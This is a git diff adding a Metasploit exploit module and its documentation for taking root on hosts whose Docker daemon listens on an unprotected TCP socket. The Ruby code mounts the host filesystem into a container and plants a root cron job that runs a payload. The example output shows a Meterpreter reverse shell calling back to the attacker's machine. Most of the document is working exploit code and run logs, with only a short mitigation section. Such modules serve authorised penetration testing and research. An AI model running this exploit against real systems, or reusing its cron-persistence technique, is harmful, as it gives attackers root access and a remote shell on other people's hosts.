diff --git a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md new file mode 100644 index 0000000000..3837b79e03 --- /dev/null +++ b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md @@ -0,0 +1,131 @@ +# Vulnerable Application +Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp +with tls but without tls-auth), an attacker can create a Docker +container with the '/' path mounted with read/write permissions on the +host server that is running the Docker container. As the Docker +container executes command as uid 0 it is honored by the host operating +system allowing the attacker to edit/create files owned by root. This +exploit abuses this to creates a cron job in the '/etc/cron.d/' path of +the host server. + +The Docker image should exist on the target system or be a valid image +from hub.docker.com. + +## Docker Engine +By default, Docker runs via a non-networked unix socket. It can also +optionally communicate using a tcp socket. + +> Warning: Changing the default docker daemon binding to a TCP port or +Unix docker user group will increase your security risks by allowing +non-root users to gain root access on the host. Make sure you control +access to docker. If you are binding to a TCP port, anyone with access +to that port has full Docker access; so it is not advisable on an open +network. -- [from docs.docker.com][1] + +This module was tested with Debian 9 and CentOS 7 as the host operating +system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1. + +### Install Debian 9 +First [install Debian 9][2] with default task selection. This includes +the "*standard system utilities*". + +### Install Docker +Then install a supported version of [Docker on Debian system][3]. + +```bash +# TL;DR +apt-get remove docker docker-engine +apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common +curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - +apt-key fingerprint 0EBFCD88 +# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88. +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" +apt-get update +apt-get install docker-ce +docker run hello-world +``` + +### Activate unprotected tcp socket +Once Docker is installed, customize the Docker daemon options and add +the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the +settings from `/lib/systemd/system/docker.service` with a new file +`/etc/systemd/system/docker.service`. + +Further information: [docker systemd][4] and [docker daemon options][5]. + +```bash +# TL;DR +echo "[Service] +ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service +systemctl daemon-reload +systemctl restart docker +curl http://127.0.0.1:2375/_ping ; echo +OK +``` + +### Mitigation + +[Disable][5] or [protect][6] the Docker tcp socket. + +# Exploitation +This module is designed for the attacker to leverage, creation of a +Docker container with out authentication through the Docker tcp socket +to gain root access to the hosting server of the Docker container. + +## Options +- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit. +- CONTAINER_ID is optional if you want to have your container Docker have a human readable name else it will be randomly generated it will be randomly generated + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/docker_daemon_tcp +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a Docker container and it successfully runs +- [ ] After a minute a session should be opened from the Docker server + +## Example Output +``` +msf > use exploit/linux/http/docker_daemon_tcp +msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23 +RHOST => 192.168.66.23 +msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp +PAYLOAD => python/meterpreter/reverse_tcp +msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10 +LHOST => 192.168.66.10 +msf exploit(docker_daemon_tcp) > set VERBOSE true +VERBOSE => true +msf exploit(docker_daemon_tcp) > check +[+] 192.168.66.23:2375 The target is vulnerable. +msf exploit(docker_daemon_tcp) > run + +[*] Started reverse TCP handler on 192.168.66.10:4444 +[*] Check if images exist on the target host +[*] Image is not available on the target host +[*] Trying to pulling image from docker registry, this may take a while +[*] Setting container json request variables +[*] Creating the docker container command +[*] The docker container is created, waiting for deploy +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Waiting until the docker container stopped +[*] The docker container has been stopped, now trying to remove it +[*] Sending stage (40411 bytes) to 192.168.66.23 +[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200 +[+] Deleted /etc/cron.d/lVoepNpy +[+] Deleted /tmp/poasDIuZ + + +meterpreter > sysinfo +Computer : debian +OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` + +[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket +[2]:https://www.debian.org/releases/stretch/amd64/index.html.en +[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ +[4]:https://docs.docker.com/engine/admin/systemd/ +[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options +[6]:https://docs.docker.com/engine/security/https/ diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb new file mode 100644 index 0000000000..22bf8249d6 --- /dev/null +++ b/modules/exploits/linux/http/docker_daemon_tcp.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit', + 'Description' => %q{ + Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp + with tls but without tls-auth), an attacker can create a Docker + container with the '/' path mounted with read/write permissions on the + host server that is running the Docker container. As the Docker + container executes command as uid 0 it is honored by the host operating + system allowing the attacker to edit/create files owned by root. This + exploit abuses this to creates a cron job in the '/etc/cron.d/' path of + the host server. + + The Docker image should exist on the target system or be a valid image + from hub.docker.com. + }, + 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket'] + ], + 'DisclosureDate' => 'Jul 25, 2017', + 'Targets' => [ + [ 'Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => { + 'Compat' => { + 'ConnectionType' => 'reverse noconn none tunnel' + } + } + }] + ], + 'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(2375), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), + OptString.new('CONTAINER_ID', [ false, 'container id you would like']) + ] + ) + end + + def check_image(image_id) + vprint_status("Check if images exist on the target host") + res = send_request_raw( + 'method' => 'GET', + 'uri' => normalize_uri('images', 'json') + ) + return unless res.code == 200 and res.body.include? image_id + + res + end + + def pull_image(image_id) + print_status("Trying to pulling image from docker registry, this may take a while") + res = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri('images', 'create?fromImage=' + image_id) + ) + return unless res.code == 200 + + res + end + + def make_container_id + return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? + + rand_text_alpha_lower(8) + end + + def make_cmd(mnt_path, cron_path, payload_path) + vprint_status('Creating the docker container command') + echo_cron_path = mnt_path + cron_path + echo_payload_path = mnt_path + payload_path + + cron_command = "python #{payload_path}" + payload_data = payload.raw + + command = "echo \"#{payload_data}\" >> #{echo_payload_path} && " + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && " + command << "echo \"\" >> #{echo_cron_path} && " + command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" + + command + end + + def make_container(mnt_path, cron_path, payload_path) + vprint_status('Setting container json request variables') + { + 'Image' => datastore['DOCKERIMAGE'], + 'Cmd' => make_cmd(mnt_path, cron_path, payload_path), + 'Entrypoint' => %w[/bin/sh -c], + 'HostConfig' => { + 'Binds' => [ + '/:' + mnt_path + ] + } + } + end + + def del_container(container_id) + send_request_raw( + { + 'method' => 'DELETE', + 'uri' => normalize_uri('containers', container_id) + }, + 1 # timeout + ) + end + + def check + res = send_request_raw( + 'method' => 'GET', + 'uri' => normalize_uri('containers', 'json'), + 'headers' => { 'Accept' => 'application/json' } + ) + return Exploit::CheckCode::Vulnerable if res.code == 200 and res.headers['Server'].include? 'Docker' + + Exploit::CheckCode::Safe + end + + def exploit + # check if target is vulnerable + fail_with(Failure::Unknown, 'Failed to connect to the targeturi') if check.nil? + + # check if image is not available, pull it or fail out + image_id = datastore['DOCKERIMAGE'] + if check_image(image_id).nil? + fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil? + end + + # create required information to create json container information. + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + payload_path = '/tmp/' + rand_text_alpha(8) + mnt_path = '/mnt/' + rand_text_alpha(8) + container_id = make_container_id + + # create container + res_create = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri('containers', 'create?name=' + container_id), + 'headers' => { 'Content-Type' => 'application/json' }, + 'data' => make_container(mnt_path, cron_path, payload_path).to_json + ) + fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201 + + print_status("The docker container is created, waiting for deploy") + register_files_for_cleanup(cron_path, payload_path) + + # start container + send_request_raw( + { + 'method' => 'POST', + 'uri' => normalize_uri('containers', container_id, 'start') + }, + 1 # timeout + ) + + # wait until container stopped + vprint_status("Waiting until the docker container stopped") + res_wait = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri('containers', container_id, 'wait'), + 'headers' => { 'Accept' => 'application/json' } + ) + + # delete container + deleted_container = false + if res_wait.code == 200 + vprint_status("The docker container has been stopped, now trying to remove it") + del_container(container_id) + deleted_container = true + end + + # if container does not deploy, remove it and fail out + unless deleted_container + del_container(container_id) + fail_with(Failure::Unknown, "The docker container failed to deploy") + end + print_status('Waiting for the cron job to run, can take up to 60 seconds') + end +end